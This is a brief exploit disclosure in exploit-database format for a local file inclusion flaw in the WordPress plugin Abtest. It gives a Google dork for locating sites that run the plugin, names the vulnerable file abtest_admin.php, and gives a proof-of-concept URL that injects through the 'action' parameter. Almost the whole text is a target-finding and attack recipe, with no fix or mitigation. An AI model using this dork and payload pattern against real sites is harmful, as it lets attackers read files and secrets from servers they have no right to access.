# Exploit Title: Wordpress Plugin Abtest - Local File Inclusion # Date: 2016-03-19 # Google Dork : inurl:/wp-content/plugins/abtest/ # Exploit Author: CrashBandicot # Vendor Homepage: https://github.com/wp-plugins/abtest # Tested on: Chrome # Vulnerable File : abtest_admin.php # PoC : localhost/wp-content/plugins/abtest/abtest_admin.php?action=[LFI] # Pics : http://i.imgur.com/jZFKYOc.png